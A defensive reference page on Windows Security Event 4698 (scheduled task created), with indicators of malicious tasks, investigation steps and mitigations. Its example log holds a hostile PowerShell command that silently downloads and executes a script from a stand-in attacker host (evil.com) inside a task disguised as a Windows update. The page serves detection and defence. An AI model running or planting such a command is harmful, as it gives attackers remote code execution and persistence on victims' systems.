Windows Event 4698 — Scheduled Task Created

What This Means

Track Windows Event 4698 to detect malicious scheduled tasks. Attackers use scheduled tasks for persistence, privilege escalation, and lateral movement in compromised environments.

Example Log

A scheduled task was created.

Subject:
  Security ID:    S-1-5-21-3398...-1103
  Account Name:   jsmith
  Account Domain: CONTOSO
  Logon ID:       0x1A2B3C

Task Information:
  Task Name:      \Microsoft\Windows\SystemUpdate
  Task Content:   <?xml version="1.0"?>
  <Task><Actions><Exec>
    <Command>powershell.exe</Command>
    <Arguments>-ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')</Arguments>
  </Exec></Actions></Task>

Indicators of Suspicious Activity

• Scheduled tasks executing PowerShell with encoded commands or bypass flags
• Task names mimicking legitimate Windows tasks in the Microsoft\Windows namespace
• Tasks configured to run as SYSTEM or another privileged account
• Tasks pointing to executables in user-writable directories (Temp, AppData)
• Tasks created by accounts that are not system administrators
• Task actions downloading content from external URLs

How to Investigate

1. Review the full Task Content XML to understand what the task executes
2. Identify who created the task (Subject) and verify authorization
3. Check the RunAs account configured for the task (SYSTEM, Network Service, specific user)
4. Scan the command and arguments for obfuscation, encoded content, or download URLs
5. Verify the task trigger schedule — tasks set for off-hours or at boot are common for persistence
6. Correlate with Event 4688 to see if the task has already executed

Recommended Mitigations

• Restrict Task Scheduler permissions to authorized admin accounts
• Monitor Event 4698 and alert on any task creation outside of change management
• Block PowerShell execution from scheduled tasks where not required
• Audit existing scheduled tasks regularly for unauthorized or suspicious entries
• Use AppLocker rules to prevent task execution from non-standard paths
• Implement application whitelisting to block unauthorized executables in tasks

Related Attack Patterns

Frequently Asked Questions